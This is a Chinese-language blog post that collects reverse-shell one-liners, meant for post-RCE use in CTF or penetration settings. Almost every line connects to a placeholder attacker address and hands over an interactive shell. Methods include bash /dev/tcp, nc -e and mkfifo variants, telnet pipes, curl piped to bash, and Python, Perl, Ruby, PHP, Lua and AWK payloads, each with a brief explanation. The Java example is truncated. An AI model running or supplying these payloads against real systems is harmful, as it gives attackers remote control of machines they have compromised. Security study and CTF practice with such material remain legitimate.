前言
当面对无回显rce或者系统函数被限制时等等情况,反弹shell是一个解决问题的好选择,因此这篇博客会简单介绍反弹shell的原理以及总结一些反弹shell的方法
常见的反弹shell
bash反弹
命令:
1 | bash -i >& /dev/tcp/x.x.x.x/port 0>&1 |
依次解释:
bash -i
代表着打开一个交互的bash>
表示重定向,目标是/dev/tcp/攻击主机ip/port
&
表示后台运行,如果不加的话服务端仅会发送一个TCP/dev/tcp/攻击主机ip/port
表示是调用socket,建立socket连接0>&1
表示标准输入重定向到标准输出,实现你与反弹出来的shell的交互
bash方法的反弹shell还有其他方法可以实现,例如:
1 | exec 5<>/dev/tcp/x.x.x.x/port; |
第一条命令建立tcp连接,并将标准输入输出作为device 5的标准输入输出。
第二条cat <&5
获取device5的输入;while read line; do $line 2>&5 >&5
一旦获取到命令便运行,然后将标准输入输出以及标准错误输出到device5中。
或者:
1 | exec 0&0 2>&0 |
原理都是类似的,但是由于linux发行版的不同,导致一些版本不能进行bash反弹shell,例如ubuntu。
nc反弹
命令1:
1 | nc -e /bin/bash x.x.x.x port |
这个使用也挺多的,但是如果服务器没有装nc或者nc不带e参数就用不了了,因此这时候就要用他的代餐了(bushi)。
命令2:
1 | rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x port >/tmp/f |
同样解释一下:
rm /tmp/f
删除命令mkfifo /tmp/f;
在tmp目录下写fifo文件f/bin/sh -i 2>&1
将/bin/sh的标准错误重定向到标准输出nc x.x.x.x 2333 >/tmp/f
将nc监听到的输入输入到fifo
注意,应该是先获得输入输出然后将结果通过管道到nc客户端
命令3:
1 | nc x.x.x.x port1|/bin/bash|nc x.x.x.x port2 |
这个比较简单,从port1端口获取命令,bash运行后将结果返回到port2中。
telnet反弹
使用这个方法时,需要监听两个端口,接着在目标主机执行命令:
1 | telnet x.x.x.x port1 | /bin/bash | telnet x.x.x.x port2 |
得到反弹shell后,port1终端输入命令,port2终端就会获得执行相应命令后的结果。
curl反弹
在vps上先放一个脚本,内容就是bash反弹的payload,然后执行命令就可以了:
1 | curl x.x.x.x/bash |bash |
常见的脚本反弹
python
exp:
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port);os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
perl
exp1:
1 | perl -e 'use Socket;$i="[x.x.x.x]";$p=[port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
exp2:
1 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
Ruby
exp:
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
PHP
exp:
1 | php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");' |
Java
exp:
1 | public class Revs { |
Lua
exp:
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','port');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
AWK
攻击机器用的监听,不能输入enter,否则会断开。exp:
1 | awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' |
总结
上面那些反弹shell的方法有些已经通过做题学习过,有些通过本地试验过,而有些还没有测试过,这篇博客主要是进行记录,如果碰到什么新的方法也会进行补充。